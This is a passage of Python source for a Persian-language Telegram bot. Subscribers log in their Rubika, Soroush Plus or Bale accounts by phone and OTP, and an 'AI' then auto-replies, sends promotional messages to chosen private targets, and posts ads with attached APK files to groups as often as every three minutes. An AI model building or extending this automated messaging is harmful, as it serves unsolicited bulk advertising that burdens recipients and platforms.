                return data
        except Exception as e:
            log.warning(f"API {method} error: {e}")
            return {"ok": False, "error": str(e)}

    async def send(self, chat_id, text, reply_markup=None, parse_mode="Markdown"):
        params = {"chat_id": chat_id, "text": text}
        if parse_mode: params["parse_mode"] = parse_mode
        if reply_markup: params["reply_markup"] = reply_markup
        r = await self.call("sendMessage", **params)
        if parse_mode and not r.get("ok"):
            log.warning(f"sendMessage parse_mode failed ({r.get('description') or r.get('error')}); retrying as plain text")
            params.pop("parse_mode", None)
            r = await self.call("sendMessage", **params)
        return r

    async def edit(self, chat_id, message_id, text, reply_markup=None, parse_mode="Markdown"):
        params = {"chat_id": chat_id, "message_id": message_id, "text": text}
        if parse_mode: params["parse_mode"] = parse_mode
        if reply_markup is not None: params["reply_markup"] = reply_markup
        r = await self.call("editMessageText", **params)
        if parse_mode and not r.get("ok") and "not modified" not in str(r.get("description", "")).lower():
            log.warning(f"editMessageText parse_mode failed ({r.get('description') or r.get('error')}); retrying as plain text")
            params.pop("parse_mode", None)
            r = await self.call("editMessageText", **params)
        return r

    async def send_photo(self, chat_id, photo, caption="", reply_markup=None):
        params = {"chat_id": chat_id, "photo": photo}
        if caption:
            params["caption"] = caption
            params["parse_mode"] = "Markdown"
        if reply_markup:
            params["reply_markup"] = reply_markup
        r = await self.call("sendPhoto", **params)
        if caption and not r.get("ok"):
            params.pop("parse_mode", None)
            r = await self.call("sendPhoto", **params)
        return r

    async def answer_cb(self, cb_id, text="", alert=False):
        return await self.call("answerCallbackQuery",
                               callback_query_id=cb_id, text=text, show_alert=alert)

    async def get_updates(self, timeout=25):
        return await self.call("getUpdates", offset=self.offset, timeout=timeout,
                               allowed_updates=["message", "callback_query"])

    async def delete_webhook(self):
        return await self.call("deleteWebhook", drop_pending_updates=False)

    async def get_me(self):
        return await self.call("getMe")

    async def get_chat_member(self, chat_id, user_id):
        return await self.call("getChatMember", chat_id=chat_id, user_id=user_id)

    async def get_chat(self, chat_id):
        return await self.call("getChat", chat_id=chat_id)

bot = None

# ═══════════════════════════════════════════════════════════════════
#  KEYBOARD HELPERS
# ═══════════════════════════════════════════════════════════════════

def IKB(rows):
    keyboard = []
    for row in rows:
        kb_row = []
        for item in row:
            if len(item) == 2:
                text, data = item
                kb_row.append({"text": text, "callback_data": data})
            elif len(item) == 3:
                text, data, style = item
                btn = {"text": text, "callback_data": data}
                if style in ("primary", "success", "danger"):
                    btn["style"] = style
                kb_row.append(btn)
        keyboard.append(kb_row)
    return {"inline_keyboard": keyboard}

def main_menu(lang, uid):
    rows = [
        [(t(lang, "menu.dashboard"), "dash", "primary")],
        [(t(lang, "menu.profile"), "prof", "primary"),
         (t(lang, "menu.sub"), "sub", "primary")],
        [(t(lang, "menu.accounts"), "acc", "primary"),
         (t(lang, "menu.ai"), "ai", "primary")],
        [(t(lang, "menu.apk"), "apk", "success"),
         (t(lang, "menu.reports"), "rep", "primary")],
        [(t(lang, "menu.tutorial"), "tut", "primary"),
         (t(lang, "menu.settings"), "set", "primary")],
    ]
    if is_admin(uid):
        rows.append([(t(lang, "menu.admin"), "admin", "danger")])
    return IKB(rows)

def back_home(lang):
    return IKB([[(t(lang, "btn.back"), "back", "primary"),
                  (t(lang, "btn.home"), "menu", "primary")]])

# ═══════════════════════════════════════════════════════════════════
#  STATE STORE
# ═══════════════════════════════════════════════════════════════════

class StateStore:
    def __init__(self): self._d = {}
    def set(self, uid, state, **kw):
        self._d[uid] = {"state": state, "at": time.time(), **kw}
    def get(self, uid):
        d = self._d.get(uid)
        if not d: return None
        if time.time() - d["at"] > 900:
            self._d.pop(uid, None); return None
        return d
    def pop(self, uid): return self._d.pop(uid, None)

state = StateStore()

class RateLimiter:
    def __init__(self, window, limit):
        self.window, self.limit, self.hits = window, limit, {}
    def hit(self, uid):
        t_now = time.time()
        arr = [x for x in self.hits.get(uid, []) if t_now - x < self.window]
        arr.append(t_now); self.hits[uid] = arr
        return len(arr) <= self.limit

rl_msg = RateLimiter(60, 30)
rl_cb  = RateLimiter(60, 60)

# ═══════════════════════════════════════════════════════════════════
#  FORCE JOIN CHECK
# ═══════════════════════════════════════════════════════════════════

async def check_force_join(uid: int) -> Tuple[bool, Optional[dict]]:
    if is_admin(uid): return True, None
    channels = _get_force_channels()
    if not channels: return True, None
    for ch in channels:
        r = await bot.get_chat_member(ch["channel_id"], uid)
        if not r.get("ok"): continue
        status = r["result"].get("status", "")
        if status in ("left", "kicked"):
            btns = []
            if ch.get("invite_link"):
                btns.append([{"text": f"📢 {ch['channel_title']}", "url": ch["invite_link"]}])
            btns.append([{"text": "✅ عضو شدم", "callback_data": "check_join"}])
            return False, {"channels": channels, "missing": ch, "btns": btns}
    return True, None

# ═══════════════════════════════════════════════════════════════════
#  MESSAGE HANDLER
# ═══════════════════════════════════════════════════════════════════

async def on_msg(msg):
    chat = msg.get("chat", {})
    from_ = msg.get("from", {})
    uid = from_.get("id")
    if not uid: return
    chat_id = chat.get("id")
    txt = msg.get("text", "") or ""

    u = ensure_user(uid, from_.get("username", ""), from_.get("first_name", ""))
    if u["is_banned"]: return
    if not rl_msg.hit(uid): return
    lang = u["lang"] or "fa"

    # ── /start ──
    if txt.startswith("/start"):
        ok, info = await check_force_join(uid)
        if not ok:
            await bot.send(chat_id, "📌 **عضویت اجباری**\n\nبرای استفاده از ربات ابتدا در کانال‌های زیر عضو شوید:",
                          reply_markup={"inline_keyboard": info["btns"]})
            return
        if not _is_bot_enabled() and not is_admin(uid):
            return await bot.send(chat_id, "🛠 **ربات در حال تعمیر است**\n\nلطفاً بعداً تلاش کنید.")
        await bot.send(chat_id, f"{t(lang,'welcome')}", reply_markup=main_menu(lang, uid))
        log_event(uid, "START")
        return

    # ── /admin ──
    if txt.startswith("/admin"):
        if not is_admin(uid): return await bot.send(chat_id, t(lang, "no_access"))
        return await bot.send(chat_id, t(lang, "admin.title"), reply_markup=admin_menu(lang))

    # ── /id (ثبت APK) ──
    if txt.startswith("/id"):
        reply = msg.get("reply_to_message")
        if not reply: return await bot.send(chat_id, "↩️ روی فایل APK ریپلای کن و /id بزن.")
        doc = reply.get("document")
        if not doc: return await bot.send(chat_id, "❌ فایل پیوست ندارد.")
        name = doc.get("file_name", "unknown.apk")
        if not name.lower().endswith(".apk"): return await bot.send(chat_id, "❌ فقط .apk مجاز است.")
        cnt = db.fetchone("SELECT COUNT(*) c FROM apk_files WHERE user_id=? AND enabled=1", (uid,))["c"]
        if cnt >= MAX_APK_PER_USER: return await bot.send(chat_id, t(lang, "apk.limit"))
        db.execute("INSERT INTO apk_files(user_id,file_id,message_id,file_name,"
                   "file_size,added_at) VALUES(?,?,?,?,?,?)",
                   (uid, doc.get("file_id", ""), reply.get("message_id", 0),
                    name, doc.get("file_size", 0), now()))
        log_event(uid, "APK_ADDED", name)
        await bot.send(chat_id, f"✅ **APK ثبت شد**\n\n📄 {name}\n"
                                f"💾 {doc.get('file_size',0)//1024} KB\n"
                                f"🆔 `{doc.get('file_id','')[:30]}...`\n\n"
                                f"از این پس در تبلیغات استفاده می‌شود.")
        return

    if txt.startswith("/"): return

    # ── State handling ──
    s = state.get(uid)
    if not s: return

    # State: دریافت شماره موبایل
    if s["state"] == State.ADD_ACC_PHONE:
        phone = txt.strip()
        if not re.match(r"^\+\d{8,15}$", phone):
            return await bot.send(chat_id, "❌ فرمت شماره: +98912xxxxxxx")
        svc = s["service"]
        handler = SERVICE_HANDLERS.get(svc)
        if not handler:
            state.pop(uid)
            return await bot.send(chat_id, t(lang, "acct.failed"), reply_markup=main_menu(lang, uid))
        ok, info = await handler["send"](uid, phone)
        if not ok:
            state.pop(uid)
            err = str(info)[:200] if info else "نامشخص"
            return await bot.send(chat_id, f"{t(lang,'acct.failed')}\n`{err}`",
                                  reply_markup=main_menu(lang, uid))
        return await bot.send(
            chat_id,
            f"📨 {svc.upper()}\n\n{t(lang,'acct.otp_sent')}\n\n{t(lang,'acct.otp')}",
            reply_markup=IKB([[(t(lang, "btn.cancel"), "cancel", "danger")]]))

    # State: دریافت کد OTP
    if s["state"] == State.ADD_ACC_OTP:
        code = txt.strip()
        svc = s["service"]
        handler = SERVICE_HANDLERS.get(svc)
        if not handler:
            state.pop(uid)
            return await bot.send(chat_id, t(lang, "acct.failed"), reply_markup=main_menu(lang, uid))
        ok, info = await handler["verify"](uid, code)
        if ok:
            state.pop(uid)
            return await bot.send(chat_id,
                                  f"{t(lang,'acct.added')}\n\n"
                                  f"🤖 AI از این پس روی این حساب فعال است.",
                                  reply_markup=main_menu(lang, uid))
        return await bot.send(chat_id, f"❌ {str(info)[:200]}",
                              reply_markup=IKB([[(t(lang, "btn.cancel"), "cancel", "danger")]]))

    # State: 2FA
    if s["state"] == State.ADD_ACC_2FA:
        state.pop(uid)
        return await bot.send(chat_id, "🔑 2FA not yet supported.",
                              reply_markup=main_menu(lang, uid))

    # State: ویرایش Knowledge Base
    if s["state"] == State.EDIT_KB:
        db.execute("INSERT OR REPLACE INTO settings(key,value) VALUES(?,?)",
                   (f"kb:{uid}", txt[:4000]))
        state.pop(uid)
        return await bot.send(chat_id, "🧠 Knowledge Base updated.",
                              reply_markup=main_menu(lang, uid))

    # State: برادکست
    if s["state"] == State.BROADCAST and is_admin(uid):
        state.pop(uid)
        await bot.send(chat_id, "📣 در حال ارسال پیام همگانی...")
        users = db.fetchall("SELECT user_id FROM users WHERE is_banned=0")
        sent, failed = 0, 0
        for row in users:
            try:
                r = await bot.send(row["user_id"], txt)
                if r.get("ok"): sent += 1
                else: failed += 1
            except Exception: failed += 1
            await asyncio.sleep(0.05)
        db.execute("INSERT INTO broadcast_log(admin_id,message_text,sent_count,"
                   "failed_count,created_at) VALUES(?,?,?,?,?)",
                   (uid, txt[:500], sent, failed, now()))
        return await bot.send(chat_id,
                              f"📣 **برادکست تمام شد**\n\n✅ ارسال موفق: **{sent}**\n"
                              f"❌ ناموفق: **{failed}**",
                              reply_markup=admin_menu(lang))

    # State: افزودن بنر (slot)
    if s["state"] == State.ADD_BANNER_SLOT and is_admin(uid):
        slot = txt.strip()
        state.set(uid, State.ADD_BANNER_IMAGE, slot=slot)
        return await bot.send(chat_id, "🖼 عکس بنر را ارسال کنید (یا /skip برای رد کردن):")

    # State: افزودن بنر (عکس)
    if s["state"] == State.ADD_BANNER_IMAGE and is_admin(uid):
        if txt == "/skip":
            db.execute("INSERT OR REPLACE INTO banners(slot,image_file_id,caption,"
                       "enabled,updated_at) VALUES(?,?,?,?,?)",
                       (s["slot"], "", "", 1, now()))
            state.pop(uid)
            return await bot.send(chat_id, "✅ بنر ثبت شد (بدون عکس).",
                                  reply_markup=admin_banners_menu(lang))
        if msg.get("photo"):
            file_id = msg["photo"][-1]["file_id"]
            db.execute("INSERT OR REPLACE INTO banners(slot,image_file_id,caption,"
                       "enabled,updated_at) VALUES(?,?,?,?,?)",
                       (s["slot"], file_id, "", 1, now()))
            state.pop(uid)
            return await bot.send(chat_id, "✅ بنر با عکس ثبت شد.",
                                  reply_markup=admin_banners_menu(lang))
        return await bot.send(chat_id, "❌ لطفاً عکس ارسال کنید یا /skip بزنید.")

    # State: افزودن کانال جوین اجباری
    if s["state"] == State.ADD_FORCE_CHANNEL and is_admin(uid):
        ch_id = txt.strip()
        r = await bot.get_chat(ch_id)
        title = r.get("result", {}).get("title", ch_id) if r.get("ok") else ch_id
        invite = r.get("result", {}).get("invite_link", "") if r.get("ok") else ""
        db.execute("INSERT OR IGNORE INTO force_join(channel_id,channel_title,"
                   "invite_link,enabled,added_at) VALUES(?,?,?,?,?)",
                   (ch_id, title, invite, 1, now()))
        state.pop(uid)
        return await bot.send(chat_id,
                              f"✅ کانال اضافه شد:\n\n📢 **{title}**\n"
                              f"🆔 `{ch_id}`\n🔗 {invite or 'بدون لینک'}",
                              reply_markup=admin_force_menu(lang))

    # State: افزودن اشتراک (user_id)
    if s["state"] == State.ADD_SUB_USER and is_admin(uid):
        try: target_uid = int(txt.strip())
        except ValueError: return await bot.send(chat_id, "❌ آیدی عددی معتبر وارد کنید.")
        state.set(uid, State.ADD_SUB_AMOUNT, target_uid=target_uid)
        return await bot.send(chat_id, "📅 تعداد روز اشتراک را وارد کنید:\nمثال: `30`")

    # State: افزودن اشتراک (تعداد روز)
    if s["state"] == State.ADD_SUB_AMOUNT and is_admin(uid):
        try: days = int(txt.strip())
        except ValueError: return await bot.send(chat_id, "❌ عدد معتبر وارد کنید.")
        target_uid = s["target_uid"]
        accounts = min(days * 2, MAX_ACCOUNTS)
        expires = (datetime.utcnow() + timedelta(days=days)).isoformat()
        db.execute("INSERT INTO subscriptions(user_id,plan,accounts,days,price,"
                   "status,created_at,expires_at) VALUES(?,?,?,?,?,?,?,?)",
                   (target_uid, f"{accounts}acc/{days}d", accounts, days, days * PRICE_PER_DAY,
                    "active", now(), expires))
        state.pop(uid)
        log_event(target_uid, "SUB_ADDED", f"{days}days")
        return await bot.send(chat_id,
                              f"✅ اشتراک اضافه شد\n\n👤 کاربر: `{target_uid}`\n"
                              f"📅 روز: **{days}**\n📱 حساب: **{accounts}**\n"
                              f"⏰ انقضا: `{expires[:10]}`",
                              reply_markup=admin_users_menu(lang))

    # State: AI PV Target
    if s["state"] == State.AI_PV_TARGET:
        state.set(uid, State.AI_PV_MESSAGE, target=txt.strip())
        return await bot.send(chat_id, "✍️ متن پیام تبلیغ را وارد کنید:",
                              reply_markup=IKB([[(t(lang, "btn.cancel"), "cancel", "danger")]]))

    # State: AI PV Message
    if s["state"] == State.AI_PV_MESSAGE:
        target = s["target"]
        db.execute("INSERT INTO ai_targets(user_id,target_type,target_id,added_at) "
                   "VALUES(?,?,?,?)", (uid, "pv", target, now()))
        state.pop(uid)
        return await bot.send(chat_id,
                              f"✅ هدف PV ثبت شد\n\n🎯 `{target}`\n\n"
                              f"AI از این پس به این هدف پیام تبلیغ می‌فرستد.",
                              reply_markup=ai_advanced_menu(lang, uid))

    # State: AI Group Link
    if s["state"] == State.AI_GROUP_LINK:
        link = txt.strip()
        platform = s.get("platform", "soroush")
        db.execute("INSERT INTO ai_targets(user_id,target_type,target_id,platform,added_at) "
                   "VALUES(?,?,?,?,?)", (uid, "group", link, platform, now()))
        state.set(uid, State.AI_GROUP_SPEED)
        return await bot.send(chat_id, "⏱ سرعت تبلیغ را انتخاب کنید:\n\n"
                                       "• `slow` — هر ۳۰ دقیقه\n"
                                       "• `medium` — هر ۱۰ دقیقه\n"
                                       "• `fast` — هر ۳ دقیقه",
                              reply_markup=IKB([[(t(lang, "btn.cancel"), "cancel", "danger")]]))

    # State: AI Group Speed
    if s["state"] == State.AI_GROUP_SPEED:
        speed = txt.strip().lower()
        if speed not in ("slow", "medium", "fast"):
            return await bot.send(chat_id, "❌ یکی از: slow / medium / fast")
        db.execute("INSERT OR REPLACE INTO settings(key,value) VALUES(?,?)",
                   (f"group_speed:{uid}", speed))
        state.pop(uid)
        return await bot.send(chat_id, f"✅ سرعت تنظیم شد: **{speed}**",
                              reply_markup=ai_advanced_menu(lang, uid))

    # State: AI Channel Name
    if s["state"] == State.AI_CHANNEL_NAME:
        name = txt.strip()
        platform = s.get("platform", "soroush")
        db.execute("INSERT OR REPLACE INTO settings(key,value) VALUES(?,?)",
                   (f"ai_channel:{uid}", name))
        db.execute("INSERT OR REPLACE INTO settings(key,value) VALUES(?,?)",
                   (f"ai_channel_platform:{uid}", platform))
        state.set(uid, State.AI_CHANNEL_DESC)
        return await bot.send(chat_id, "📝 توضیحات کانال را وارد کنید (یا /skip):",
                              reply_markup=IKB([[(t(lang, "btn.cancel"), "cancel", "danger")]]))

    # State: AI Channel Desc
    if s["state"] == State.AI_CHANNEL_DESC:
        if txt != "/skip":
            db.execute("INSERT OR REPLACE INTO settings(key,value) VALUES(?,?)",
                       (f"ai_channel_desc:{uid}", txt[:1000]))
        state.pop(uid)
        return await bot.send(chat_id, "✅ کانال خودکار تنظیم شد.",
                              reply_markup=ai_advanced_menu(lang, uid))

    # State: افزودن پلن قیمت‌گذاری
    if s["state"] == State.ADD_PRICING_PLAN and is_admin(uid):
        try:
            parts = txt.strip().split()
            if len(parts) < 3:
                return await bot.send(chat_id, "❌ فرمت: `روز اکانت قیمت`\nمثال: `2 6 10`")
            days = int(parts[0])
            accounts = int(parts[1])
            price = int(parts[2])
        except ValueError:
            return await bot.send(chat_id, "❌ اعداد معتبر وارد کنید.")
        db.execute("INSERT INTO pricing_plans(days,accounts,price,label,enabled,created_at) "
                   "VALUES(?,?,?,?,?,?)",
                   (days, accounts, price, f"{accounts}acc/{days}d", 1, now()))
        state.pop(uid)
        return await bot.send(chat_id,
                              f"✅ پلن اضافه شد\n\n📅 روز: **{days}**\n"
                              f"📱 حساب: **{accounts}**\n💰 قیمت: **{price} TRX**",
                              reply_markup=admin_pricing_menu(lang))

    # State: AI account selection
    if s["state"] == State.AI_SELECT_ACCOUNT and txt.isdigit():
        aid = int(txt)
        a = db.fetchone("SELECT * FROM accounts WHERE id=? AND user_id=? AND enabled=1", (aid, uid))
        if a:
            db.execute("INSERT OR IGNORE INTO ai_bindings(user_id,account_id,enabled,"
                       "auto_reply_pv,auto_reply_group,created_at,updated_at) "
                       "VALUES(?,?,?,?,?,?,?)",
                       (uid, aid, 1, 1, 0, now(), now()))
            info = active_clients.get(uid)
            client = ai_live_clients.get((uid, aid)) or (info.get('client') if info and info.get('account_id') == aid else None)
            reg = False
            if client:
                reg = _register_ai_handler(client, uid, a['service'], aid)
            note = '' if reg else '\n⚠️ کلاینت زنده این اکانت در حافظه نیست؛ برای پاسخ خودکار باید اکانت دوباره لاگین شود.'
            state.pop(uid)
            return await bot.send(chat_id,
                                  f"✅ **AI روی اکانت {aid} فعال شد.**\n\n"
                                  f"📱 {a['service']}\n🆔 `{aid}`{note}\n\n"
                                  f"اول TEST را بزن.",
                                  reply_markup=ai_manage_kb(aid))
        else:
            return await bot.send(chat_id, "❌ اکانت با این ID پیدا نشد.")
        return

# ═══════════════════════════════════════════════════════════════════
#  CALLBACK HANDLER
# ═══════════════════════════════════════════════════════════════════

async def on_cb(cb):
    uid = cb.get("from", {}).get("id")
    cb_id = cb.get("id")
    data = cb.get("data", "")
    msg = cb.get("message") or {}
    chat_id = msg.get("chat", {}).get("id")
    msg_id = msg.get("message_id")
    if not uid or not chat_id: return
    if not rl_cb.hit(uid): return await bot.answer_cb(cb_id, "⏳ کندتر", alert=True)
    u = ensure_user(uid)
    if u["is_banned"]: return await bot.answer_cb(cb_id, "Banned", alert=True)
    lang = u["lang"] or "fa"
    try:
        await dispatch_cb(cb_id, uid, lang, u, chat_id, msg_id, data)
    except Exception as e:
        log.error(f"cb [{data}]: {e}\n{traceback.format_exc(limit=40)}")
        await bot.answer_cb(cb_id, t(lang, "error"), alert=True)

async def _edit(chat_id, msg_id, text, kb=None):
    await bot.edit(chat_id, msg_id, text, reply_markup=kb)

async def dispatch_cb(cb_id, uid, lang, u, chat_id, msg_id, data):
    await bot.answer_cb(cb_id)

    if data == "check_join":
        ok, info = await check_force_join(uid)
        if ok: await _edit(chat_id, msg_id, t(lang, "menu.title"), main_menu(lang, uid))
        else: await _edit(chat_id, msg_id, "📌 **هنوز عضو نشده‌اید!**\n\nلطفاً ابتدا عضو شوید:",
                          {"inline_keyboard": info["btns"]})
        return

    if data == "menu":
        state.pop(uid)
        return await _edit(chat_id, msg_id, t(lang, "menu.title"), main_menu(lang, uid))
    if data == "back":
        return await _edit(chat_id, msg_id, t(lang, "menu.title"), main_menu(lang, uid))
    if data == "cancel":
        state.pop(uid)
        return await _edit(chat_id, msg_id, t(lang, "cancelled"), main_menu(lang, uid))

    # Dashboard
    if data == "dash":
        accs = db.fetchone("SELECT COUNT(*) c FROM accounts WHERE user_id=? AND enabled=1", (uid,))["c"]
        apks = db.fetchone("SELECT COUNT(*) c FROM apk_files WHERE user_id=? AND enabled=1", (uid,))["c"]
        provs = db.fetchone("SELECT COUNT(*) c FROM ai_providers WHERE status='working'", ())["c"]
        ai_st = t(lang, "ai.on") if u["ai_enabled"] else t(lang, "ai.off")
        sub = get_active_subscription(uid)
        sub_txt = t(lang, "sub.none")
        if sub:
            sub_txt = f"{t(lang,'sub.active')} — {sub['accounts']} acc / {sub['days']}d → {sub['expires_at'][:10]}"
        txt = (f"🏠 **{u['first_name'] or uid}**\n\n"
               f"━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n💳 {sub_txt}\n"
               f"📱 Accounts: **{accs}**\n📦 APKs: **{apks}**\n"
               f"🤖 AI: {ai_st}  |  Providers online: **{provs}**\n"
               f"━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n👤 Last activity: `{u['last_activity']}`")
        return await _edit(chat_id, msg_id, txt, back_home(lang))

    # Profile
    if data == "prof":
        accs_total = db.fetchone("SELECT COUNT(*) c FROM accounts WHERE user_id=?", (uid,))["c"]
        accs_active = db.fetchone("SELECT COUNT(*) c FROM accounts WHERE user_id=? AND enabled=1", (uid,))["c"]
        apks = db.fetchone("SELECT COUNT(*) c FROM apk_files WHERE user_id=?", (uid,))["c"]
        usage = db.fetchone("SELECT COUNT(*) c FROM ai_usage WHERE user_id=?", (uid,))["c"]
        total_msg = db.fetchone("SELECT COUNT(*) c FROM account_activity WHERE user_id=?", (uid,))["c"]
        sub = get_active_subscription(uid)
        sub_txt = "🔴 بدون اشتراک"
        if sub:
            sub_txt = f"🟢 {sub['accounts']} اکانت / {sub['days']} روز — انقضا: `{sub['expires_at'][:10]}`"
        txt = (f"👤 **پروفایل کاربری**\n\n"
               f"━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n"
               f"🆔 **آیدی:** `{uid}`\n"
               f"📛 **نام:** {u['first_name'] or '—'}\n"
               f"🔗 **یوزرنیم:** @{u['username'] or '—'}\n"
               f"📅 **عضویت:** `{u['created_at'][:10]}`\n"
               f"🕒 **آخرین فعالیت:** `{u['last_activity']}`\n"
               f"━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n"
               f"💳 **اشتراک:** {sub_txt}\n"
               f"━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n"
               f"📱 **حساب‌ها:** {accs_active} فعال از {accs_total}\n"
               f"📦 **APKها:** {apks}\n"
               f"🤖 **درخواست‌های AI:** {usage}\n"
               f"📨 **کل پیام‌های ارسالی:** {total_msg}\n"
               f"━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━")
        return await _edit(chat_id, msg_id, txt, back_home(lang))

    # Subscription
    if data == "sub":
        return await _edit(chat_id, msg_id, _sub_text(lang, uid), _sub_kb(lang))
    if data.startswith("sub.plan:"):
        _, days, accs, price = data.split(":")
        inv = f"TRX-{secrets.token_hex(4).upper()}"
        db.execute("INSERT INTO subscriptions(user_id,plan,accounts,days,price,"
                   "status,created_at,expires_at,invoice_id) VALUES(?,?,?,?,?,?,?,?,?)",
                   (uid, f"{accs}acc/{days}d", int(accs), int(days), int(price),
                    "pending", now(), now(), inv))
        log_event(uid, "SUB_BOUGHT", inv)
        return await _edit(chat_id, msg_id,
                          f"🧾 **فاکتور {inv}**\n\n📦 {accs} اکانت / {days} روز\n"
                          f"💰 قیمت: **{price} TRX**\n\n"
                          f"برای فعال‌سازی با {ADMIN_USERNAME} تماس بگیرید.",
                          back_home(lang))

    # Settings
    if data == "set":
        return await _edit(chat_id, msg_id, "⚙️ **تنظیمات**",
                          IKB([[(f"🌐 زبان: {'فارسی' if lang=='fa' else 'English'}", "set.lang", "primary")],
                               [(t(lang, "support"), "set.support", "success")],
                               [(t(lang, "btn.home"), "menu", "primary")]]))
    if data == "set.lang":
        return await _edit(chat_id, msg_id, "🌐 Language / زبان",
                          IKB([[("🇮🇷 فارسی", "set.lang:fa", "primary"),
                                ("🇬🇧 English", "set.lang:en", "primary")],
                               [(t(lang, "btn.home"), "menu", "primary")]]))
    if data.startswith("set.lang:"):
        new = data.split(":")[1]
        db.execute("UPDATE users SET lang=? WHERE user_id=?", (new, uid))
        return await _edit(chat_id, msg_id, t(new, "lang.changed"), main_menu(new, uid))
    if data == "set.support":
        return await _edit(chat_id, msg_id,
                          f"🆘 **پشتیبانی TRX**\n\n"
                          f"برای ارتباط با پشتیبانی به آیدی زیر پیام دهید:\n\n"
                          f"👤 {ADMIN_USERNAME}",
                          back_home(lang))

    # Accounts Panel
    if data == "acc":
        return await _edit(chat_id, msg_id,
                          "📱 **مدیریت حساب‌ها**\n\n"
                          "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n"
                          "🔵 سرویس مورد نظر را انتخاب کنید:\n"
                          "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━",
                          IKB([
                              [("🔵 روبیکا", "acc.svc:rubika", "primary")],
                              [("🟢 سروش پلاس", "acc.svc:soroush", "success")],
                              [("🟡 بله", "acc.svc:bale", "primary")],
                              [(t(lang, "btn.home"), "menu", "primary")],
                          ]))

    if data.startswith("acc.svc:"):
        svc = data.split(":")[1]
        accounts = db.fetchall("SELECT * FROM accounts WHERE user_id=? AND service=?", (uid, svc))
        lines = [f"📱 **{svc.upper()} — لیست حساب‌ها**\n\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"]
        btns = []
        for a in accounts:
            st = "🟢" if a["enabled"] else "🔴"
            lines.append(f"{st} `#{a['id']}` — {_mask_phone(a['phone'])}")
            btns.append([(f"⚙️ {_mask_phone(a['phone'])}", f"acc.mg:{a['id']}", "primary")])
        if not accounts: lines.append("—")
        btns.append([("➕ افزودن حساب", f"acc.add.svc:{svc}", "success")])
        btns.append([(t(lang, "btn.back"), "acc", "primary")])
        return await _edit(chat_id, msg_id, "\n".join(lines), IKB(btns))

    if data.startswith("acc.add.svc:"):
        svc = data.split(":")[1]
        state.set(uid, State.ADD_ACC_PHONE, service=svc)
        return await _edit(chat_id, msg_id, f"📱 **{svc.upper()}**\n\n{t(lang,'acct.phone')}",
                          IKB([[(t(lang, "btn.cancel"), "cancel", "danger")]]))

    if data.startswith("acc.mg:"):
        aid = int(data.split(":")[1])
        r = db.fetchone("SELECT * FROM accounts WHERE id=? AND user_id=?", (aid, uid))
        if not r: return
        txt = (f"⚙️ **#{r['id']} {r['service'].upper()}**\n\n"
               f"━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n📱 {_mask_phone(r['phone'])}\n"
               f"Status: {'🟢' if r['enabled'] else '🔴'}\n"
               f"Added: `{r['added_at'][:10]}`\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━")
        return await _edit(chat_id, msg_id, txt,
                          IKB([[(("🔴 غیرفعال کن" if r["enabled"] else "🟢 فعال کن"),
                                 f"acc.tog:{aid}", "danger" if r["enabled"] else "success")],
                               [("🗑 حذف", f"acc.del:{aid}", "danger")],
                               [(t(lang, "btn.back"), f"acc.svc:{r['service']}", "primary")]]))

    if data.startswith("acc.tog:"):
        aid = int(data.split(":")[1])
        r = db.fetchone("SELECT enabled FROM accounts WHERE id=? AND user_id=?", (aid, uid))
        if r: db.execute("UPDATE accounts SET enabled=? WHERE id=?", (0 if r["enabled"] else 1, aid))
        return await dispatch_cb(cb_id, uid, lang, u, chat_id, msg_id, f"acc.mg:{aid}")

    if data.startswith("acc.del:"):
        aid = int(data.split(":")[1])
        r = db.fetchone("SELECT service FROM accounts WHERE id=? AND user_id=?", (aid, uid))
        db.execute("DELETE FROM accounts WHERE id=? AND user_id=?", (aid, uid))
        if r: return await dispatch_cb(cb_id, uid, lang, u, chat_id, msg_id, f"acc.svc:{r['service']}")
        return await dispatch_cb(cb_id, uid, lang, u, chat_id, msg_id, "acc")

    # APK
    if data == "apk":
        rows = db.fetchall("SELECT * FROM apk_files WHERE user_id=? ORDER BY id DESC", (uid,))
        lines = [t(lang, "apk.hint"), "", "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"]
        btns = []
        for r in rows:
            st = "🟢" if r["enabled"] else "🔴"
            lines.append(f"{st} `#{r['id']}` {r['file_name']} — {r['file_size']//1024}KB")
            btns.append([(f"🗑 #{r['id']}", f"apk.del:{r['id']}", "danger"),
                         (("🔴" if r["enabled"] else "🟢"), f"apk.tog:{r['id']}",
                          "danger" if r["enabled"] else "success")])
        btns.append([(t(lang, "btn.home"), "menu", "primary")])
        return await _edit(chat_id, msg_id, "\n".join(lines), IKB(btns))

    if data.startswith("apk.del:"):
        aid = int(data.split(":")[1])
        db.execute("DELETE FROM apk_files WHERE id=? AND user_id=?", (aid, uid))
        return await dispatch_cb(cb_id, uid, lang, u, chat_id, msg_id, "apk")

    if data.startswith("apk.tog:"):
        aid = int(data.split(":")[1])
        r = db.fetchone("SELECT enabled FROM apk_files WHERE id=? AND user_id=?", (aid, uid))
        if r: db.execute("UPDATE apk_files SET enabled=? WHERE id=?", (0 if r["enabled"] else 1, aid))
        return await dispatch_cb(cb_id, uid, lang, u, chat_id, msg_id, "apk")

    # AI Panel
    if data == "ai":
        return await _edit(chat_id, msg_id, "🤖 **پنل هوش مصنوعی**", ai_advanced_menu(lang, uid))
    if data == "ai.tog":
        db.execute("UPDATE users SET ai_enabled=? WHERE user_id=?", (0 if u["ai_enabled"] else 1, uid))
        u = db.fetchone("SELECT * FROM users WHERE user_id=?", (uid,))
        return await dispatch_cb(cb_id, uid, lang, u, chat_id, msg_id, "ai")
    if data == "ai.tone":
        return await _edit(chat_id, msg_id, "🎭 **انتخاب لحن**",
                          IKB([[(t(lang, "tone.friendly_ir"), "ai.tone:friendly_ir", "primary")],
                               [(t(lang, "tone.formal"), "ai.tone:formal", "primary")],
                               [(t(lang, "tone.friendly"), "ai.tone:friendly", "primary")],
                               [(t(lang, "tone.tech"), "ai.tone:tech", "primary")],
                               [(t(lang, "tone.edu"), "ai.tone:edu", "primary")],
                               [(t(lang, "tone.short"), "ai.tone:short", "primary")],
